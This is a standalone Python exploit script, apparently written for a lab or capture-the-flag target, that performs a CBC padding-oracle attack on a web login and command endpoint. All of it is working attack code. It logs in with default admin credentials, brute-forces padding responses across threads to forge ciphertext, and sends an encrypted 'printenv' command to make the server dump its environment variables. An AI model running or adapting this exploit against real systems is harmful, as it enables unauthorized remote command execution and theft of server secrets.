oposec-padding-oracle.py

#!/usr/bin/env python3

import os
import base64
import urllib3
import requests
import threading
from concurrent.futures import ThreadPoolExecutor

urllib3.disable_warnings()

# Constants
LOGIN_URL = "http://madlabs.pw/login"
EXEC_URL = "http://madlabs.pw/execute"
USERNAME = "admin"
PASSWORD = "admin"
BLOCK_SIZE = 16
THREADS = 11
INVALID_PADDING_MSG = "Invalid padding bytes."
PROXY = {"http": "http://localhost:8080", "https": "http://localhost:8080"}

# Thread-local session storage
thread_local = threading.local()

def get_session():
    if not hasattr(thread_local, "session"):
        s = requests.Session()
        #s.proxies = PROXY
        #s.verify = False
        thread_local.session = s
    return thread_local.session

def login():
    session = get_session()
    session.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD})

def send_payload(ciphertext_b64):
    session = get_session()
    login()
    response = session.post(EXEC_URL, data={"command": ciphertext_b64})
    return INVALID_PADDING_MSG not in response.text

def xor_bytes(a, b):
    return bytes(x ^ y for x, y in zip(a, b))

def pad(data: bytes, block_size: int) -> bytes:
    padding_len = block_size - (len(data) % block_size)
    return data + bytes([padding_len] * padding_len)

def split_blocks(data: bytes, size: int):
    return [data[i:i+size] for i in range(0, len(data), size)]

def encrypt(plaintext: bytes, block_size=BLOCK_SIZE):
    padded = pad(plaintext, block_size)
    blocks = split_blocks(padded, block_size)
    cipher_blocks = [os.urandom(block_size)]

    for block in reversed(blocks):
        intermediate = [0] * block_size
        crafted_block = bytearray(block_size)

        for i in reversed(range(block_size)):
            padding_val = block_size - i

            def try_byte(b):
                prefix = bytearray(block_size)
                for j in range(i+1, block_size):
                    prefix[j] = intermediate[j] ^ padding_val
                prefix[i] = b
                test_block = bytes(prefix) + cipher_blocks[0]
                test_b64 = base64.b64encode(test_block).decode()
                if send_payload(test_b64):
                    return b
                return None

            with ThreadPoolExecutor(max_workers=THREADS) as executor:
                futures = {executor.submit(try_byte, b): b for b in range(256)}
                for future in futures:
                    result = future.result()
                    if result is not None:
                        intermediate[i] = result ^ padding_val
                        crafted_block[i] = intermediate[i] ^ block[i]
                        break

        cipher_blocks.insert(0, bytes(crafted_block))

    return base64.b64encode(b''.join(cipher_blocks)).decode()

def send_encrypted_payload_and_print_response(plaintext: bytes):
    print(f"[*] Encrypting payload: {plaintext}")
    encrypted_b64 = encrypt(plaintext)
    print(f"[*] Encrypted base64 payload: {encrypted_b64}")

    session = requests.Session()
    #session.proxies = PROXY
    #session.verify = False
    session.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD})
    response = session.post(EXEC_URL, data={"command": encrypted_b64})

    print(f"\n[*] Server response:\n{response.text}")

if __name__ == "__main__":
    payload = b'{"printenv":"-0"}'
    send_encrypted_payload_and_print_response(payload)